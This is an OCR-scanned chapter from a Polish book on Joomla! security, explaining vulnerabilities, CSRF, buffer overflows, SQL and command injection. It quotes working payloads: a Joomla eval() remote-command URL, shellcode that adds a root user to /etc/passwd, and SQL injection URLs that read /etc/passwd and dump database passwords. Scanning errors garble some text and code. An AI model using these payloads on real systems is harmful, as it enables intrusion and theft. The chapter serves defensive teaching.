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Zahezpiecz strong oparta o Joomla!

* Na co nalezy zwr6ci¢ uwage przy wyborze firmy hostingowej?
* Jak wykorzysta¢ potencjat plikéw .htaccess i php.ini?
 Jak reagowac na ataki hakerow?

Nikomu nie trzeba jej przedstawia¢ - Joomla! to wiodacy system zarzadzania trescia.
Wsrod jej zalet warto wymienic¢ tatwosc instalacji i konfiguraciji, dostepnosé wielu
dodatkow oraz cene - jest to system darmowy. Jednakze z tej popularno$ci wynika tez
pewna zasadnicza wada. Mianowicie Joomla! jest takomym kaskiem dla internetowych
wtamywaczy.

Dzigki tej ksiazce dowiesz sie, jak zabezpieczy¢ swoja stroneg, opartg o ten system,
przed ich dziataniem. Podrecznik w kompleksowy sposéb opisuje wszystkie zagadnienia
zwigzane z bezpieczefistwem Joomla! - poczawszy od wyboru firmy, na ktorej serwerach
umiescisz swoja strone, a skonczywszy na tworzeniu polityki reagowania na ataki.
Ponadto podczas lektury zdobedziesz ogrom wiedzy na temat dostepnych narzedzi,
metodologii atakéw oraz konfiguracji za pomoca plikow .htaccess i php.ini. WSrdd
poruszanych tematow znajdziesz rdwniez te poswiecone logom serwera i wykorzystaniu
szyfrowanego kanatu komunikacyjnego SSL. Ksiazka ta jest obowiazkowa lekturg dla
wszystkich administratorow stron internetowych opartych o system Joomla! - zaréwno
tych matych, jak i korporacyjnych.
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Luki

Luki istniejg w kazdym zbudowanym przez czlowieka systemie, a oprogramowanie to technologia
w rodzaju ,,czarmej skrzynki” — uzytkownicy czesto nie majg wiedzy ani mozliwosci potrzebnych
do wykrycia stabych punkt6w rozwigzania. Nawet programisci czasem nie posiadajg zasobéw
niezbednych do wyczerpujacego przetestowania systemu pod katem luk.

Spoleczenistwo staje sie coraz bardziej zalezne od systeméw komputerowych, ktére sterujg ope-
racjami bankowymi, niezbedng infrastrukturg (na przyklad sieciami elektrycznymi), a nawet
Twoja oparta na Joomla! witryng. Dlatego musisz zna¢ odpowiedzi na ponizsze pytania:

B Czym sg luki?

B Dlaczego istnieja?

B Jak mozna zapobiec ich powstawaniu?

Wprowadzenie

Czy czytales albo styszales kiedy$ opowiastke dla dzieci o Malej Czerwonej Kurce? Pewnego razu
Mata Czerwona Kurka znalazla ziarna pszenicy. Prosila ré6zne zwierzeta o pomoc przy sianiu
zboza, podlewaniu go, zbiorach i mieleniu maki na chleb. Wszystkie zwierzaki odméwity, tuma-
czac sie brakiem czasu. Byly po prostu zbyt zajete!

Kiedy Mata Czerwona Kurka upiekta chleb dla siebie i swych kurczat, kazde stworzenie z zagrody
poczulo jego zapach. Wszystkie zwierzeta zbiegly sie z przyjaznymi minami, aby uszczknaé
co$ dla siebie. Kurka oczywiscie przegonila je, poniewaz nikt nie chcial poméc jej w pracy.

Zaczalem od tej historyjki, poniewaz wystepujace w niej postacie odpowiadajg r6znym funkcjom
omawianym w dalszej cze$ci rozdziahu.
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Pomysl o projektancie aplikacji, ktéry pracuje niestrudzenie i prosi zaufanych klientéw o udziat
w testach. Uzytkownicy odmawiaja, ale p6zniej narzekaja na btedy, kiedy te sie ujawnig.

Mozliwe, ze firma udostepnia oprogramowanie, ale marketing jest w niej wazniejszy niz staranne
testy nakierowane na usuniecie luk. Jednak ostatecznie odpowiedzialnos$é za usterki spada na
programiste.

Gdy producent udostepnia poprawki, klienci, ktérzy powinni je zainstalowa¢, ale tego nie zrobili,
przypominaja zwierzeta, dajace sie tatwo zaatakowaé napastnikom. Nie zrobily tego, czego
oczekiwata od nich Kurka.

Czy pamietasz robaka o nazwie Slammer, ktéry pojawit sie kilka lat temu? Napastnicy wykorzy-
stali luke w systemie MS-SQL, cho¢ juz od pewnego czasu dostepna byta odpowiednia poprawka.
Robak przechodzit z serwera na serwer i w ciggu kilku godzin rozprzestrzenit sie po swiecie.
Klienci, ktérzy zainstalowali poprawki, nie poniesli szkéd. Takie zachowanie, w rodzaju ,jestem
zbyt zajety, Czerwona Kurko” (aby dodaé¢ poprawke), spowodowalo w wielu firmach niepotrzebne
i kosztowne przestoje w dzialaniu serwera. Oto oficjalny opis problemu przedstawiony przez
organizacje CERT:

.Robak atakujacy komputery z systemem SQL Server to samodzielnie rozprzestrzeniajacy sie szkodliwy kod,
ktory wykorzystuje luke opisang w dokumencie VU#484891 (CAN-2002-0649). Luka ta umozliwia uru-
chomienie na komputerze z systemem SQL Server dowolnego kodu w wyniku wykorzystania przepetnienia
bufora stosu.

Kiedy robak zaatakuje maszyne, prébuje sie rozprzestrzeni¢. W tym celu tworzy 376-bajtowe pakiety i przesyta
je pod losowo wybrane adresy IP do portu 1434/udp. Jesli pakiet trafi do podatnej na atak maszyny,
ofiara zostanie zainfekowana i takze zacznie rozprzestrzeniac robaka. Obecna wersja robaka jedynie wykrywa
nowe serwery i nie zawiera innych instrukgji.

Dziafanie tego robaka mozna fatwo wykry¢ ze wzgledu na obecnos¢ w sieci 376-bajtowych pakietéw UDP.
Pochodzg one z na pozor losowych adreséw IP i sg skierowane do portu 1434/udp”.

Na szczescie wspomniany robak — choé szkodliwy — nie obejmowal niebezpiecznych instrukeji.
Gdyby administratorzy centréw danych przegladali poprawki dla kluczowych systeméw (takich
jak MS-SQL) bezposrednio po ich udostepnieniu, skutki dziatania Slammera bylyby duzo
mniejsze.

Wedlug Microsoftu poprawka byta dostepna juz w lipcu 2002 roku. Jednak pojawienie sie Slam-
mera wywolalo pandemie. Zapoznaj sie z ponizszym opisem.

JLuke, ktorg wykorzystat robak, Microsoft zlikwidowat w poprawce zabezpieczen z lipca 2002 roku i w dal-
szych uzupetniajacych poprawkach (ostatnia pojawita sie w pazdzierniku 2002 roku). Ponadto ze wzgledu
na zaangazowanie w kwestie bezpieczefistwa przy wdrazaniu oprogramowania w ramach inicjatywy Tru-
stworthy Computing ponownie udostepniliémy najnowszg poprawke zabezpieczen z dofagczonym programem
instalacyjnym, ktéry pomaga administratorom systemow przyspieszy¢ instalacje”.
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Pojeciem, ktére czesto pojawia sie wraz ze stowem ,luka”, jest eksploit. Wykrycie stabych punktéw
przyciaga ,,zlych chlopcow”, ktérzy cheg wykorzystaé luki w celu zaatakowania systemu.

Instalowanie poprawek jest nieodzowne

Nowszy przykltad braku zabezpieczen to luka umozliwiajaca ataki CSRF (ang. Cross-Site Request
Forgery) w systemach Joomla! 1.x i Joomla! 1.5. Warto tu wspomnie¢, ze Joomla! to nie jedyna
aplikacja zaatakowana eksploitem wykorzystujacym te luke. Przyczyna problemu jest natura
dziatania sieci WWW. Istnieja kody, ktére moga spowolni¢ atak i w wielu przypadkach go za-
blokowaé. W czasie, kiedy powstawala ta ksigzka, pojawilo sie niedoskonale rozwigzanie problemu
CSRE jednak informacji o poprawce nie rozpowszechniano publicznie. Producenci oprogramo-
wania nierzadko stosujg takie podejscie. Ze wzgledu na ograniczone zasoby muszg koncentrowaé
sie na najwazniejszych, priorytetowych zadaniach. Dlatego to uzytkownicy koficowi odpowiadaja
za zainstalowanie poprawki, kiedy sie o niej dowiedzg. Jesli producent systemu Joomla! udostepni
aktualizacje, a Ty jej nie dodasz, bedziesz ponosit odpowiedzialnosé za szkody. Jezeli jednak
tworey aplikacji $wiadomie zignorujg luke w zabezpieczeniach, to oni beda winni zaniedbania.
Jednak ostatecznie za bezpieczenistwo odpowiada uzytkownik.

Eksploit CSRF jest interesujacy, poniewaz zwigzany jest z atakami ,,socjotechnicznymi”. Oznacza
to, ze jesli uzytkownik nie bedzie wspélpracowal z napastnikami, nikt nie bedzie mégt wyrzadzié
mu szkody.

Wspotdziatanie klienta umozliwia agresorom zalozenie w witrynie konta gléwnego administratora.
Phil Taylor, powazany czlonek spolecznosci zwigzanej z Joomla!, zademonstrowal dzialanie
omawianego eksploita w kilka godzin od czasu jego ujawnienia. W tym czasie utworzyl konto
glownego administratora w jednej witrynie (ten test stuzyl tylko jako ilustracja problemu, a nie
do przeprowadzenia ataku).

Dobra wiadomos¢ jest taka, ze wedtug Phila Taylora (phil-taylor.com) problem mozna tatwo rozwia-
zaé przez zachowanie zdrowego rozsadku przez uzytkownikéw. Ponizszy fragment pochodzi z ar-
tykutu ze strony hitp.//blog.phil-taylor.com/2008/01/05/using-prisim-to-administrate-joomla-safer/
(wersja ze stycznia 2008 roku), ktéry zawiera doskonaly opis zagadnienia.

,Ostatnio wiele sie moéwi o atakach CSRF w systemach Joomla! 1.0.13/1.5. CSRF to problem we wszystkich
aplikacjach sieciowych, a w wersjach Joomla! 1.0.14 i Joomla! 1.5 wzmocniono zabezpieczenia w tym
zakresie. Nie oznacza to jednak, Ze systemy te s w petni bezpieczne, poniewaz w praktyce nie mozna
zablokowa¢ wszystkich atakéw CSRF bez zakidcenia pracy oprogramowania. Joomla!, podobnie jak
wiekszos¢ aplikacji sieciowych, ma jak najbardziej utrudnia¢ wykorzystanie techniki CSRF do przejecia
witryn opartych na Joomla!”.

Przytaczam te uwagi tylko jako akademickie rozwazania, poniewaz problem zostat rozwiazany
przed zakorficzeniem prac nad tg ksigzka.
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Eksploity ,.socjotechniczne” to jedne z najbardziej niebezpiecznych sposobéw wykorzystania luk.

Na blogu Phila znajdziesz tez wskazéwki, ktére pomoga Ci zabezpieczy¢ witryne przed tym pod-
stepnym atakiem:

— ZAWSZE klikaj przycisk Wylogujw panelu administracyjnym Joomla!, kiedy skonczysz prace.
— NIGDY nie odwiedzaj innych witryn, kiedy jeste$ zalogowany w panelu administracyjnym Joomlal.
— Jesli zezwalasz uzytkownikom na przesytanie i modyfikowanie elementéw witryny przy uzyciu komponen-

tow niezaleznych producentéw, to w czasie, kiedy jestes zalogowany w panelu administracyjnym Joomla!, nie
przegladaj wiasnego serwisu lub réb to w ograniczonym zakresie.

— NIGDY nie klikaj odnosnikéw typu Aktualizuj komponentw komponentach niezaleznych producentéw.

— NIGDY nie przegladaj forum, kiedy jeste$ zalogowany w panelu administracyjnym Joomla!.

Omawiana luka jest powazna, jednak lektura blogu Phila Taylora pozwoli Ci latwo zapobiec jej
wykorzystaniu.

Wiecej informacji znajdziesz w ciekawym artykule na temat CSRF:

http://shiflett.org/articles/cross-site-request-forgeries.

Zwr6¢ uwage na date artykulu. Omawiany eksploit jest starszy niz Joomlal, co pokazuje, ze ataki
CSREF nie sg specyficzne dla tego systemu. W ostatnich latach problem dotknal nawet poczte
Gmail. Przedstawione porady znajduja zastosowanie przy korzystaniu z kazdej aplikacji sieciowej
z poufnymi danymi (na przyktad w systemach bankowosci internetowe;j).

Czym jest luka?

Oto definicja ,Juki” (ang. vulnerability) z Wikipedii:
W dziedzinie bezpieczeristwa komputeréw pojecie ,luka” oznacza staby punkt w systemie,
ktory wmozliwia napastnikom naruszenie integralnosci aplikacji. Luki mogg byc efektem
stosowania stabych hasel, wystgpienia bledéw w oprogramowaniu, wstrzykniecia
kodu skryptu, wstrzykniecia kodu SQL, dzialania rootkita Blue Pill lub szkodliwego
oprogramowania. Niektore luki sq teoretyczne, w przypadku innych znane sq
przykladowe eksploity.

Struktura w jezyku programowania jest uznawana za luke, jesli jest podstawowa przyczyna uste-
rek w wielu programach.

Mozesz sie zastanawia¢, dlaczego w systemie pojawily sie stabe punkty i czy programisci nie mogli
bardziej sie postara¢. To uzasadnione pytania. Jednak zanim zaczniesz obwinia¢ nieszczesnych,
przykutych do klawiatur programistéw, przyjrzyj sie kilku dobrze poznanym obszarom, w ktérych
mogg wystapié¢ luki.
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W Wikipedii mozna znalez¢ kilka przyczyn probleméw:

B Bledy w zarzadzaniu hastami. Uzytkownicy stosujg stabe hasla, ktére mozna ztamaé
metodg ataku sifowego. Klienci przechowujg hasta na komputerze w miejscu, do ktérego
program ma dostep. Uzytkownicy stosujg te same hasta w wielu aplikacjach i witrynach.

B Elementarne bledy w projekcie systemu operacyjnego. Producent systemu
operacyjnego decyduje sie zastosowaé nieoptymalne metody zarzadzania kontami
uzytkownikéw i programami. Na przyklad w niektérych systemach kazda aplikacja
i osoba ma domys$lnie pelny dostep do wszystkich zasob6w komputera. Ta wada
umozliwia wirusom i szkodliwemu oprogramowaniu wykonywanie polecei w imieniu
administratora.

B Bledy w oprogramowaniu. Programista pozostawia mozliwa do wykorzystania
usterke w programie. Bledy tego typu pozwalaja napastnikom na przyktad pomina¢
proces sprawdzania uprawnien dostepu do danych lub wykonaé polecenia w systemie,
w ktérym dziata dana aplikacja. Ponadto programista moze zapomnieé o sprawdzaniu
rozmiaru buforéw danych, ktére moga zosta¢ przepetnione, co prowadzi do uszkodzenia
zawarto$ci pamieci na stosie lub stercie (moze to tez spowodowaé uruchomienie
na komputerze kodu przestanego przez napastnika).

B Brak sprawdzania danych wejsciowych od uzytkownika. Programista zaktada,
ze wszystkie dane od uzytkownika sa bezpieczne. Programy, ktére nie sprawdzaja
takich danych, umozliwiajg bezposrednie wykonanie polecen lub instrukeji SQL
(sq to ataki przez przepehienie bufora, wstrzykniecie kodu SQL i wprowadzenie
innych niesprawdzonych danych).

Luki wystepujg we wszystkich systemach operacyjnych, aplikacjach i platformach. W nastepnych
punktach opisuje techniczne aspekty wybranych stabych punktéw.

Luki zwigzane z uszkodzeniem zawartosci pamieci

Niebezpieczne przepehienie bufora to prawdopodobnie najczes$ciej wystepujaca obecnie luka.
Jest tak powszechna, Ze mozna ja znalezé w niemal kazdym systemie. Tlustruja to dalsze przyktady.

Ponizszy fragment to opis ujawnionej luki zwigzanej z bledem przepetnienia w systemie Joomla!
1.5 beta 2:

Podatne systemy:
m Joomla! wersja 1.5 beta 2
Odporne systemy:
m Joomla! wersja 1.0.13
m Joomla! wersja 1.5 RC1
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Opis Tuki

Ponizsze skrypty z domySinej instalacji systemu Joomla! 1.5 beta 2 zawieraja
podatny na atak kod:

1. components/com_search/views/search/tmpl/default results.php

Wiersz 12.: <?php eval ('echo "' . $this->result . '";'); ?>

2. templates/beez/html/com_search/search/default results.php

Wiersz 25.: echo '<p>' . eval ('echo "' . $this->result . ' ";');

Wartos¢ parametru searchword jest przekazywana do podanego kodu z instrukcja
eval() i wykonywana. Napastnik moze po funkcji echo wstawi¢ nowe
polecenie PHP, ktore postuzy do uruchomienia instrukcji systemu
operacyjnego.

Aby pominagC ograniczenie dtugosci szukanego stowa do 20 znakdw, do
okreslania polecei systemu operacyjnego uzywany jest nowy parametr

w zadaniu GET (zobacz przyktadowy eksploit).

Oto przyktadowy eksploit:

W witrynie www.milwOrm.com znajdujg sie przykladowe instrukcje, ktére mozna przestaé
przez uszkodzenie zawarto$ci pamieci. Jest to BARDZO stary (z lata 2000 roku) kod dla inter-

http://$joomlahost/index.php?searchword=";phpinfo();%23&option=com
search&Itemid=1
http://$joomlahost/index.php?c=id&searchword=";system($

GET[c]) ;%23&option=com search&Itemid=1

pretera polecef, dlatego go wybratem:
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/*
* Linux/x86
*
* Dodaje wiersz "z::0::0:::\n" do /etc/passwd.
* Kod jest dos¢ stary i mozna go dodatkowo zoptymalizowacé.
*/
#include <stdio.h>
char c0de[] =

/* main: */

"\xeb\x29" /* jmp callz */

/* start: ¥/

"\x5e" /* popl %esi */
"\x29\xc0" /* subl %eax, %eax ¥/
"\x88\x46\x0b" /* movb %al, 0x0b(%esi) */

. [czes¢ kodu usunieto]

"\x29\xc0" /* subl %eax, %eax */

"\x40" /*incl %eax */
"\xcd\x80" /* int $0x80 */
/*callz: */
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"\xe8\xd2\xff\xff\xff" /* call start */
/* DATA */
"/etc/passwd"
"\xff"
"z::0:0:::\n";
main() {
int *ret;
ret=(int *)&ret +2;
printf("Shellcode lenght=%d\n",strlen(cOde));
(*ret) = (int)cOde;
}

Ten eksploit dodaje uzytkownika do opartego na procesorze Intel komputera, na ktérym dziata
system Linux x86 (jest to typowa, powszechnie uzywana platforma serwerowa). Ten prosty kod
wstawia skrypt typu shellcode za pomoca techniki uszkadzania pamieci. Pozwala to napastnikowi
uruchomié¢ w pamieci niewielki program (w tym przypadku wystarczy 70 bajtéw), ktory — jesli
jego dziatanie zakoficzy sie powodzeniem — dodaje uzytkownika do systemu. Umozliwia to
pézniejsze wykonanie dowolnych operacji.

W nastepnym punkcie omawiam inne rodzaje eksploitéw. Pamietaj, ze nie jest to wyczerpujaca
lista, a jedynie przeglad czesto spotykanych technik.

Wstrzykniecie kodu SQL

Jednym z najczesciej spotykanych i niebezpiecznych atakéw na witryny oparte na Joomla! jest
wstrzykniecie kodu SQL (ang. SQL injection). Istotg tych atakéw sa nieprawidlowo przefiltrowane
dane wej$ciowe przesylane na serwer SQL. Specjalne symbole — tak zwane znaki ucieczki — stuzg
do przekazywania zgdan (zapytan) do bazy danych SQL niezgodnie z zamiarami programisty.
Czasem umozliwia to zapisanie w bazie szkodliwych danych i powoduje ujawnienie waznych
informacji, na przyklad hasel.

Oto przykladowy atak przez wstrzykniecie kodu SQL opisany w witrynie www.milwOrm.com:

/etc/password:
http://[host] /activate.php?userName="'/**/union/**/select/**/
1,2,3,4,10ad_file(0x2f6574632f706173737764),6,7,8,9,9,9,9,9/*

Ten eksploit nie atakuje systemu Joomla!, ale inny CMS. Jesli 6w CMS dziata z opcja magic_quotes
ustawiona na off, przedstawiony eksploit pozwala napastnikowi zdoby¢ hasta uzytkownikéw.

Aby uzyskaé identyfikatory uzytkownikéw, mozna pobra¢ nazwy i hasla uzytkownikéw z tabeli
mysql.user:

http://[host] /activate.php?userName="'/**/union/**/select/**/
1,2,3,4,concat (user,0x203a3a20,password) ,6,7,8,9,9,9,9,9/**/from/**/
mysql.user/*
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Omawiany eksploit wykorzystuje ponizsza luke:
$userName = $§ GET["userName"];
$code = § GET["activate"];
$sq1 = "SELECT activated FROM users WHERE username = '$userName' AND
activated = '$code'";

Jesli nie ustawisz opcji magic_quotes na ON, opisany eksploit pozwoli napastnikowi zlamaé¢
system.

Przyczyng tej luki jest prosty btad — brak wlasciwego filtrowania danych w okreslonej czesci
systemu. W czasie pisania tego rozdziatu przeprowadzitem kilka atakéw opartych na tej luce
na wlasna witryne. Jednak opisany eksploit nie jest przeznaczony do wykorzystania stabych
punktéw w Joomla!, dlatego préby nie przyniosty zadnych efektow.

Twoj egzemplarz systemu Joomla! moze byé podatny na ataki, jesli korzystasz z rozszerzenia,
ktére niepoprawnie filtruje dane. Opisany eksploit jest skuteczny w witrynach, ktére nie spraw-
dzaja literatéw znakowych podanych za pomoca znakéw ucieczki. Takie literaly sa ,,wstrzykiwane”™
do bazy danych w instrukcjach w jezyku SQL. Ponadto jesli dane od uzytkownikéw nie sg $cisle
typizowane, system zglosi wyjatek (baza danych nie ,,zrozumie” instrukeji i przesle komunikaty
o btedach), co spowoduje, ze system DBMS wygeneruje informacje w niezamierzony sposéb.
Scista typizacja oznacza, ze w aplikacji obowiazuja precyzyjne reguly dotyczace taczenia
i uzywania danych okreslonego typu. Stosowanie tej techniki jest zgodne z podejsciem ,,wielo-
warstwowej obrony”.

Jednym z testéw na sprawdzanie podatnosci aplikacji na wstrzykniecie kodu SQL jest przestanie
dowolnych danych wejsciowych w celu okreslenia warunkéw wystapienia btedu. Na przyktad
sprobuj przestaé w zapytaniu SQL ponizszy kod:

Select * from users where password =' ' or 1=1;--
Whasnie zazadate$ pobrania kazdego wiersza tabeli. Baza danych dojdzie do sekwenciji ., i po-

minie dalszy kod. Jesli w plikach dziennika z instrukcjami z zapytaniami SQL znajdziesz dziwne
zadania, oznacza to, ze kto§ probuje zaatakowa¢ witryne.

Przetestowanie podatnosci na omawiane ataki jest proste. Wystarczy przesta¢ zapytania SQL przy
uzyciu réznych znakéw specjalnych i obserwowad efekty.

Przez zastosowanie sie do instrukeji zabezpieczania witryny mozesz znacznie zmniejszy¢ po-

datnosé na ataki ze strony opisanych eksploitéw. Ponadto zawsze warto poszuka¢ w witrynach dla
hakeréw informacji o eksploitach powigzanych z rozszerzeniem, ktérego uzywasz.
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Ataki przez wstrzykniecie polecen

Jesli jestes fanem serialu ,,Star Trek”, moze przypominasz sobie odcinek, w ktérym kapitan Kirk
spotkal swego $miertelnego wroga — Khana. Przeciwnicy staneli naprzeciwko siebie, przy czym
statek Khana mial przewage nad Enterprise. Kirk poprosil Spocka o podanie ,,kodéw poleceni” Re-
lianta (takg nazwe nosil statek skradziony przez Khana), a nastepnie wprowadzil sekwencje liczb
i rozkazal komputerowi Relianta wylaczenie zabezpieczen. Kirk zastosowal w ten sposéb atak
przez wstrzykniecie polecenia. Cho¢ wydarzenia ze statku Enterprise sa fikcyjne, ataki przez
wstrzykniecie polecen sg jak najbardziej realne. Wstrzykniecie instrukeji do systemu (na przyktad
na serwer) sprawia, ze niezawodno$¢ i wiarygodnos$é¢ danego komputera spadaja do zera.

Na stronie http:/fwww.owasp.orgfindex.php/Command_Injection znajduje sie bardzo dobra
definicja ataku przez wstrzykniecie polecen:

»Celem ataku przez wstrzykniecie polecer jest wstawienie i wykonanie instrukeji okreslonych
przez napastnika za pomoca podatnej na ten atak aplikacji. W takich warunkach program, ktéry
wykonuje niepozadane polecenia systemowe, przypomina powloke systemowa, a napastnik moze
jej uzywaé jak uwierzytelniony uzytkownik. Jednak instrukcje sa uruchamiane z takimi samymi
uprawnieniami i w tym samym Srodowisku, co dana aplikacja. Przyczyng atakéw przez wstrzyk-
niecie polecen jest najczeSciej niedostateczna walidacja danych wejsciowych, ktérymi napastnik
moze dodatkowo manipulowaé (za pomoca formularzy, plikéw cookie, nagléwkéw HTTP itd.).

Istnieje tez inna odmiana omawianego ataku — wstrzykniecie kodu. W tej specyficznej technice
napastnik dodaje wlasny kod do istniejagcego, przez co wzbogaca wbudowane funkcje aplikacji
i nie potrzebuje wykonywaé polecen systemowych. Wstrzykniety kod jest uruchamiany z tymi
samymi uprawnieniami i w tym samym $rodowisku, co dany program”.

Jesli uzyjesz kodu w standardowy sposob, zobaczysz oczekiwane dane:

$ ./catWrapper Story.txt

Przyktadowy atak

Jesli napastnik bedzie chciat Cie zaatakowaé, moze doda¢ na konicu wiersza Srednik i dodatkowa
instrukcje, co spowoduje wykonanie przez naktadke catWrapper polecenia 1s oraz wy$wietlenie
zawarto$ci danego katalogu.

§ ./catWrapper "Story.txt; 1s

When last we left our heroes...

Story.txt doubFree.c nullpointer.c
unstosig.c www* a.out*
format.c strlen.c usefFree*
catWrapper* misnull.c strlength.c
useFree.c commandinjection.c nodefault.c
trunc.c writeWhatWhere.c
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Gdyby nakladka catWrapper miata wyzszy poziom uprawnien niz standardowy uzytkownik, umoz-
liwiataby wykonywanie dowolnych poleceni z danego poziomu.

Dlaczego pojawiajq sie luki?

Przyczyng powstawania usterek i luk jest kilka czynnik6w. Najwazniejszy z nich to zlozonosé.
Ponadto kod moze dziata¢ w nieoczekiwany sposob w interakeji z innymi fragmentami programu.
Za kazdym razem, kiedy producent dodaje do pakietu oprogramowania nowe funkcje, w aplikacji
pojawia sie wiele luk, ktérymi trzeba sie zajaé.

Inne przyczyny usterek to:
B niewystarczajace testy i planowanie,
B niewlasciwa instalacja i konfiguracja serwera,
B zle ustawienia zapory,
B udostepnianie zbyt wielu informacji,
B niewlasciwe formatowanie zmiennych i niebezpiecznych danych wejsciowych,
B brak testéw w zréznicowanym $rodowisku,
B interakcje z dodatkami niezaleznych producentéw,
B socjotechnika (tak, to tez problem),
[ |

nieregularne instalowanie poprawek i aktualizacji (nie jest to przyczyna probleméw,
ale prowadzi do umozliwienia uzycia eksploitow),

ztogliwi hakerzy, ktérzy chcg wlamaé sie do systemu,
B ataki w dniu zerowym (polegaja one na wykorzystaniu bledéw, ktére nie zostaly jeszcze
zidentyfikowane i naprawione).

Jak widag¢, istnieje wiele przyczyn btedéw. W koncu nikt nie jest doskonaty. Wiem, ze to frazes,
jednak nieustannie trzeba go przypominac.

Programisci i producenci mogg zapobiec wiekszosci usterek. W rozdziale 5. omawiam szczegéto-
wo niektére z czesto stosowanych atakéw i wyjasniam, dlaczego sa mozliwe.

Co mozna zrobi¢, aby zapobiec lukom?

Uzytkownik koncowy nie naprawi kodu niskiej jakosci, jednak moze przeprowadzi¢ testy. Progra-
mista ma wieksze mozliwo$ci i moze wyeliminowac wiecej usterek.

Przesledzmy kilka strategii, ktére mozna zastosowaé, aby zlagodzi¢ skutki bledéw i zabezpieczy¢
$rodowisko pracy. Osobno przedstawiam rozwigzania dla programistéw i uzytkownikéw.
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Programisci

Programista jest odpowiedzialny za pisanie jak najlepszego kodu. Nie oznacza to, ze zawsze
musi tworzy¢ idealne rozwigzania. Powinien jednak stara¢ sie udostepnia¢ produkty wysokiej
jako$ci i wykorzystywac wszystkie swe umiejetnosci.

Czasem w Swiecie techniki duma bierze gére nad zdrowym rozsadkiem. Jesli zdasz sobie sprawe
z tego, ze pomylki mogg sie zdarzaé, otworzysz sie na krytyke ze strony wspétpracownikéw.
Nie pozwol, aby duma spowodowala, ze udostepnisz kiepski produkt lub nie zapewnisz odpo-
wiedniego wsparcia innym w §rodowisku pracy.

Niska jakos¢ testow i planow

W czasie projektowania nowego dodatku, programu lub innego skryptu zastanéw sie, jak na-
prawde bedzie uzywany. W jakim $rodowisku bedzie dziata¢? Czy oprogramowanie to pakiet do
sprzedazy samochod6éw? Pomysl, jakie inne elementy dealer moze chcieé¢ zainstalowa¢ w witrynie.

Jaki jest poziom wiedzy uzytkownikéw? W jaki sposéb klienci beda korzystaé z witryny dealera?

Zanim zaczniesz pisaé¢ kod, dobrze przemysl, co cheesz osiagnaé dzieki testom. Zapisz plan testow
i uwzglednij w nim czesto wystepujace problemy. Jesli firma na przyklad chce zamieszezaé
w witrynie zdjecia (co sprzedawcy samochodéw zwykle robig), to czy ich rozmiar ma znaczenie?
Czy za duze rysunki spowoduja bledy? Czy zamiast zdjecia mozna wstawi¢ inny element, ktéry
spowoduje przepetnienie bufora i przejecie kontroli nad witryng przez napastnika? Przemyslenie
takich kwestii pomoze Ci przygotowad lepszy kod.

Wskazoéwka dla uzytkownikéw

Koniecznie dodaj pomocne komunikaty o btedach w jezyku polskim i powiaz rozwigzanie problemu z syste-
mem pomocy oraz wsparcia technicznego w witrynie.

Tematy do przemys§leni mozna dtugo wymieniaé. W planach i testach uwzglednij przynajmniej
ponizsze zagadnienia:
B Kim jest klient?
Kim sg klienci klienta?
Jak produkt bedzie uzywany?
Jakie typy zmiennych i danych wejsciowych sa dozwolone?

Jaki poziom uprawnien jest wymagany do uzywania aplikacji?

Jakie inne rozszerzenia moga wspoéldziataé¢ z rozwijanym systemem?

Nie jest to kompletna lista, lecz tylko punkt wyjscia do rozwazan. Napastnik moze wykorzystaé¢
wszystkie wymienione obszary. Kazdy z nich zwiazany jest ze specyficznymi problemami.
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Na przyklad dozwolone typy zmiennych i danych wejsciowych wyznaczajg sposéb sprawdzania
tablic oraz akceptowane rodzaje zmiennych. W aplikacjach w jezyku PHP zezwalanie na podanie
danych DOWOLNEGO TYPU to zty pomysl, ktéry ponadto nie poprawia komfortu pracy uzyt-
kownikéw. W kodzie trzeba przechwytywaé zadania GET i POST, pliki cookies oraz inne dane,
a nastepnie je sprawdzac¢. W testach nalezy poda¢ w polu na dane wejsciowe (lub w zapytaniu
SQL) znaki specjalne i podobne informacje, aby ustali¢, czy mozna ztamaé zabezpieczenia.

Znaki specjalne, na ktére warto zwrécic uwage, to ', <i>. Bardzo wazne jest wyszukiwanie ich w danych.
Aby zyskac¢ lojalnych klientow, nalezy zapewni¢ im wysoki komfort pracy i bezpieczenstwo.

Zastan6w sie nad polem na dane wejsciowe, w ktérym uzytkownik strony moze wpisaé adres
e-mail.

Mozesz uzyé ponizszego prostego fragmentu kodu:

<html>

<head><title>Prosty formularz na adres e-mail</title></head>
<body>

<h2>Podaj adres e-mail</h2><p>

<form action="email.php" method="post">

<table>

<tr><td>Adres e-mail:</td><td><input type="text"

name="Name" /></td></tr>

<tr><td colspan="2" align="center"><input type="submit" /></td></tr>
</table>

</form>

</body>

</html>

Ten kod nie sprawdza poprawnosci adresu e-mail. Nie jest to dobre rozwiazanie i z pewnoscig nie
zapewnia bezpieczefistwa. Nie mozna tez zagwarantowad, ze uzytkownik wprowadzi poprawny
adres; z kolei zto§liwy napastnik moze wstawié szkodliwy skrypt do witryny i przeja¢ nad nig
kontrole.

Jak wykry¢, czy adres e-mail jest poprawny?
Doskonaty przyktad kodu do sprawdzania poprawnosci adreséw e-mail znajdziesz na stronie:

http./www.addedbytes.com/php/email-address-validatiory.

Jesli pobierasz dane wej$ciowe, koniecznie przeprowadz testy! Nastepnie popro$ o przetestowanie
rozwigzania znajomego, zaufanego programiste i popro§ go, aby sprébowat ztamac system.
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Kiedy wystapia bledy (a z pewnoscig tak sie stanie), dobra procedura ich obstugi zapewni
plynne dziatania witryny. Musisz jednak zachowaé ostrozno$é przy udostepnianiu informacji
w komunikatach o bledach.

Zastan6w sie nad bledem typu ,,odmowa dostepu”.

Odmowa dostepu

Wspomniatem juz, ze producenci aplikacji czesto udostepniaja zbyt wiele informacji, poniewaz
chca, aby komunikaty byly przydatne. Jest to czesto spotykany problem, ktéry utatwia zdetermi-
nowanemu napastnikowi uzyskanie informacji o strukturze programu, uzytych technologiach itd.

Nastepny przyktad ilustruje odrzucone zadanie pliku. Wszystko przebiega prawidlowo, dopoki
nie pojawi sie komunikat z serwera Apache.

Cho¢ podane informacje mozna latwo uzyska¢ takze w inny sposéb, ten prosty przyklad pokazuje,
ze w wyniku btedu serwer podaje informacje na swoj temat:

)Apachefl.B.B? servar at myserver.myfolder-server.com Port 80‘

Jest to przyklad btednej obstugi btedu 403 (odmowa dostepu). Powoduje to ujawnienie szcze-
g6towych informacji o wersji serwera Apache, porcie i strukturze katalogéw.

Lepsze rozwigzanie polega na uzyciu pliku .htaccess do catkowitego zablokowania komunikatéw

o bledach.

Zastan6w sie nad metodg opisang na stronie http://perishablepress.com:

# Blokowanie btedow w PHP.

php_flag display startup_errors off
php_flag display errors off
php_flag html_errors off

php_value docref root 0

php_value docref _ext 0

